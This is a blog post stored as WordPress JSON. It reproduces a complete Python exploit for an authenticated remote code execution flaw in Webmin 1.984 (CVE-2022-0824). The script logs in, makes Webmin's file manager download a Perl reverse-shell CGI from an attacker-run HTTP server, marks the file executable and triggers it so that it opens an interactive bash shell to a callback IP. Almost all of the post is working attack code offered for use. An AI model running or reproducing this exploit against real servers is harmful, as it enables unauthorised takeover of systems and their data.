{"id":21477,"date":"2022-03-09T19:28:21","date_gmt":"2022-03-09T16:28:21","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/166240\/webmin1984-exec.txt"},"modified":"2022-03-12T08:24:24","modified_gmt":"2022-03-12T04:54:24","slug":"webmin-1-984-remote-code-execution","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/webmin-1-984-remote-code-execution\/","title":{"rendered":"Webmin 1.984 Remote Code Execution"},"content":{"rendered":"<p dir=\"ltr\"># Exploit Title: Webmin 1.984 &#8211; Remote Code Execution (Authenticated)<br \/>\n# Date: 2022-03-06<br \/>\n# Exploit Author: faisalfs10x (https:\/\/github.com\/faisalfs10x)<br \/>\n# Vendor Homepage: https:\/\/www.webmin.com\/<br \/>\n# Software Link: https:\/\/github.com\/webmin\/webmin\/archive\/refs\/tags\/1.984.zip<br \/>\n# Version: &lt;= 1.984<br \/>\n# Tested on: Ubuntu 18<br \/>\n# Reference: https:\/\/github.com\/faisalfs10x\/Webmin-CVE-2022-0824-revshell<\/p>\n<p dir=\"ltr\">#!\/usr\/bin\/python3<\/p>\n<p dir=\"ltr\">&#8220;&#8221;&#8221;<br \/>\nCoded by: @faisalfs10x<br \/>\nGitHub: https:\/\/github.com\/faisalfs10x<br \/>\nReference: https:\/\/huntr.dev\/bounties\/d0049a96-de90-4b1a-9111-94de1044f295\/<br \/>\n&#8220;&#8221;&#8221;<\/p>\n<p dir=\"ltr\">import requests<br \/>\nimport urllib3<br \/>\nimport argparse<br \/>\nimport os<br \/>\nimport time<\/p>\n<p dir=\"ltr\">urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)<\/p>\n<p dir=\"ltr\">TGREEN = &#8216;\\033[32m&#8217;<br \/>\nTRED = &#8216;\\033[31m&#8217;<br \/>\nTCYAN = &#8216;\\033[36m&#8217;<br \/>\nTSHELL = &#8216;\\033[32;1m&#8217;<br \/>\nENDC = &#8216;\\033[m&#8217;<\/p>\n<p dir=\"ltr\">class Exploit(object):<br \/>\ndef __init__(self, target, username, password, py3http_server, pyhttp_port, upload_path, callback_ip, callback_port, fname):<br \/>\nself.target = target<br \/>\nself.username = username<br \/>\nself.password = password<br \/>\nself.py3http_server = py3http_server<br \/>\nself.pyhttp_port = pyhttp_port<br \/>\nself.upload_path = upload_path<br \/>\nself.callback_ip = callback_ip<br \/>\nself.callback_port = callback_port<br \/>\nself.fname = fname<\/p>\n<p dir=\"ltr\">#self.proxies = proxies<br \/>\nself.s = requests.Session()<\/p>\n<p dir=\"ltr\">def gen_payload(self):<br \/>\npayload = (&#8221;&#8217;perl -e &#8216;use Socket;$i=&#8221;&#8221;&#8217; + self.callback_ip + &#8221;'&#8221;;$p=&#8221;&#8217; + self.callback_port + &#8221;&#8217;;socket(S,PF_INET,SOCK_STREAM,getprotobyname(&#8220;tcp&#8221;));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,&#8221;&gt;&amp;S&#8221;);open(STDOUT,&#8221;&gt;&amp;S&#8221;);open(STDERR,&#8221;&gt;&amp;S&#8221;);exec(&#8220;\/bin\/bash -i&#8221;);};&#8217; &#8221;&#8217;)<br \/>\nprint(TCYAN + f&#8221;\\n[+] Generating payload to {self.fname} in current directory&#8221;, ENDC)<br \/>\nf = open(f&#8221;{self.fname}&#8221;, &#8220;w&#8221;)<br \/>\nf.write(payload)<br \/>\nf.close()<\/p>\n<p dir=\"ltr\">def login(self):<br \/>\nlogin_url = self.target + &#8220;\/session_login.cgi&#8221;<br \/>\ncookies = { &#8220;redirect&#8221;: &#8220;1&#8221;, &#8220;testing&#8221;: &#8220;1&#8221;, &#8220;PHPSESSID&#8221;: &#8220;&#8221; }<\/p>\n<p dir=\"ltr\">data = { &#8216;user&#8217; : self.username, &#8216;pass&#8217; : self.password }<br \/>\ntry:<br \/>\nr = self.s.post(login_url, data=data, cookies=cookies, verify=False, allow_redirects=True, timeout=10)<br \/>\nsuccess_message = &#8216;System hostname&#8217;<br \/>\nif success_message in r.text:<br \/>\nprint(TGREEN + &#8220;[+] Login Successful&#8221;, ENDC)<br \/>\nelse:<br \/>\nprint(TRED +&#8221;[-] Login Failed&#8221;, ENDC)<br \/>\nexit()<\/p>\n<p dir=\"ltr\">except requests.Timeout as e:<br \/>\nprint(TRED + f&#8221;[-] Target: {self.target} is not responding, Connection timed out&#8221;, ENDC)<br \/>\nexit()<\/p>\n<p dir=\"ltr\">def pyhttp_server(self):<br \/>\nprint(f'[+] Attempt to host http.server on {self.pyhttp_port}\\n&#8217;)<br \/>\nos.system(f'(setsid $(which python3) -m http.server {self.pyhttp_port} 0&gt;&amp;1 &amp; ) &#8216;) # add 2&gt;\/dev\/null for clean up<br \/>\nprint(&#8216;[+] Sleep 3 second to ensure http server is up!&#8217;)<br \/>\ntime.sleep(3) # Sleep for 3 seconds to ensure http server is up!<\/p>\n<p dir=\"ltr\">def download_remote_url(self):<br \/>\ndownload_url = self.target + &#8220;\/extensions\/file-manager\/http_download.cgi?module=filemin&#8221;<br \/>\nheaders = {<br \/>\n&#8220;Accept&#8221;: &#8220;application\/json, text\/javascript, *\/*; q=0.01&#8221;,<br \/>\n&#8220;Accept-Encoding&#8221;: &#8220;gzip, deflate&#8221;,<br \/>\n&#8220;Content-Type&#8221;: &#8220;application\/x-www-form-urlencoded; charset=UTF-8&#8221;,<br \/>\n&#8220;X-Requested-With&#8221;: &#8220;XMLHttpRequest&#8221;,<br \/>\n&#8220;Referer&#8221;: self.target + &#8220;\/filemin\/?xnavigation=1&#8221;<br \/>\n}<\/p>\n<p dir=\"ltr\">data = {<br \/>\n&#8216;link&#8217;: &#8220;http:\/\/&#8221; + self.py3http_server + &#8220;\/&#8221; + self.fname,<br \/>\n&#8216;username&#8217;: &#8221;,<br \/>\n&#8216;password&#8217;: &#8221;,<br \/>\n&#8216;path&#8217;: self.upload_path<br \/>\n}<\/p>\n<p dir=\"ltr\">r = self.s.post(download_url, data=data, headers=headers, verify=False, allow_redirects=True)<br \/>\nprint(f&#8221;\\n[+] Fetching {self.fname} from http.server {self.py3http_server}&#8221;)<\/p>\n<p dir=\"ltr\">def modify_permission(self):<br \/>\nmodify_perm_url = self.target + &#8220;\/extensions\/file-manager\/chmod.cgi?module=filemin&amp;page=1&amp;paginate=30&#8221;<br \/>\nheaders = { &#8220;Referer&#8221;: self.target + &#8220;\/filemin\/?xnavigation=1&#8221; }<br \/>\ndata = { &#8220;name&#8221;: self.fname, &#8220;perms&#8221;: &#8220;0755&#8221;, &#8220;applyto&#8221;: &#8220;1&#8221;, &#8220;path&#8221;: self.upload_path }<\/p>\n<p dir=\"ltr\">r = self.s.post(modify_perm_url, data=data, headers=headers, verify=False, allow_redirects=True)<br \/>\nprint(f&#8221;[+] Modifying permission of {self.fname} to 0755&#8243;)<\/p>\n<p dir=\"ltr\">def exec_revshell(self):<br \/>\nurl = self.target + &#8216;\/&#8217; + self.fname<br \/>\ntry:<br \/>\nr = self.s.get(url, verify=False, allow_redirects=True, timeout=3)<br \/>\nexcept requests.Timeout as e: # check target whether make response in 3s, then it indicates shell has been spawned!<br \/>\nprint(TGREEN + f&#8221;\\n[+] Success: shell spawned to {self.callback_ip} via port {self.callback_port} &#8211; XD&#8221;, ENDC)<br \/>\nprint(&#8220;[+] Shell location: &#8221; + url)<br \/>\nelse:<br \/>\nprint(TRED + f&#8221;\\n[-] Please setup listener first and try again with: nc -lvp {self.callback_port}&#8221;, ENDC)<\/p>\n<p dir=\"ltr\">def do_cleanup(self):<br \/>\nprint(TCYAN + &#8216;\\n[+] Cleaning up &#8216;)<br \/>\nprint(f'[+] Killing: http.server on port {self.pyhttp_port}&#8217;)<br \/>\nos.system(f&#8217;kill -9 $(lsof -t -i:{self.pyhttp_port})&#8217;)<br \/>\nexit()<\/p>\n<p dir=\"ltr\">def run(self):<br \/>\nself.gen_payload()<br \/>\nself.login()<br \/>\nself.pyhttp_server()<br \/>\nself.download_remote_url()<br \/>\nself.modify_permission()<br \/>\nself.exec_revshell()<br \/>\nself.do_cleanup()<\/p>\n<p dir=\"ltr\">if __name__ == &#8220;__main__&#8221;:<\/p>\n<p dir=\"ltr\">parser = argparse.ArgumentParser(description=&#8217;Webmin CVE-2022-0824 Reverse Shell&#8217;)<br \/>\nparser.add_argument(&#8216;-t&#8217;, &#8216;&#8211;target&#8217;, type=str, required=True, help=&#8217; Target full URL, https:\/\/www.webmin.local:10000&#8242;)<br \/>\nparser.add_argument(&#8216;-c&#8217;, &#8216;&#8211;credential&#8217;, type=str, required=True, help=&#8217; Format, user:user123&#8242;)<br \/>\nparser.add_argument(&#8216;-LS&#8217;, &#8216;&#8211;py3http_server&#8217;, type=str, required=True, help=&#8217; Http server for serving payload, ex 192.168.8.120:8080&#8242;)<br \/>\nparser.add_argument(&#8216;-L&#8217;, &#8216;&#8211;callback_ip&#8217;, type=str, required=True, help=&#8217; Callback IP to receive revshell&#8217;)<br \/>\nparser.add_argument(&#8216;-P&#8217;, &#8216;&#8211;callback_port&#8217;, type=str, required=True, help=&#8217; Callback port to receive revshell&#8217;)<br \/>\nparser.add_argument(&#8220;-V&#8221;,&#8217;&#8211;version&#8217;, action=&#8217;version&#8217;, version=&#8217;%(prog)s 1.0&#8242;)<br \/>\nargs = parser.parse_args()<\/p>\n<p dir=\"ltr\">target = args.target<br \/>\nusername = args.credential.split(&#8216;:&#8217;)[0]\npassword = args.credential.split(&#8216;:&#8217;)[1]\npy3http_server = args.py3http_server<br \/>\npyhttp_port = py3http_server.split(&#8216;:&#8217;)[1]\ncallback_ip = args.callback_ip<br \/>\ncallback_port = args.callback_port<br \/>\nupload_path = &#8220;\/usr\/share\/webmin&#8221; # the default installation of Webmin Debian Package, may be in different location if installed using other method.<br \/>\nfname = &#8220;revshell.cgi&#8221; # CGI script name, you may change to different name<\/p>\n<p dir=\"ltr\">pwn = Exploit(target, username, password, py3http_server, pyhttp_port, upload_path, callback_ip, callback_port, fname)<br \/>\npwn.run()<\/p>\n","protected":false},"excerpt":{"rendered":"<p># Exploit Title: Webmin 1.984 &#8211; Remote Code Execution (Authenticated) # Date: 2022-03-06 # Exploit Author: faisalfs10x (https:\/\/github.com\/faisalfs10x) # Vendor Homepage: https:\/\/www.webmin.com\/ # Software Link: https:\/\/github.com\/webmin\/webmin\/archive\/refs\/tags\/1.984.zip # Version: &lt;= 1.984 # Tested on: Ubuntu 18 # Reference: https:\/\/github.com\/faisalfs10x\/Webmin-CVE-2022-0824-revshell #!\/usr\/bin\/python3 &#8220;&#8221;&#8221; Coded by: @faisalfs10x GitHub: https:\/\/github.com\/faisalfs10x Reference: https:\/\/huntr.dev\/bounties\/d0049a96-de90-4b1a-9111-94de1044f295\/ &#8220;&#8221;&#8221; import requests import urllib3 import argparse import &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-21477","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/21477","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=21477"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/21477\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=21477"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=21477"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=21477"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}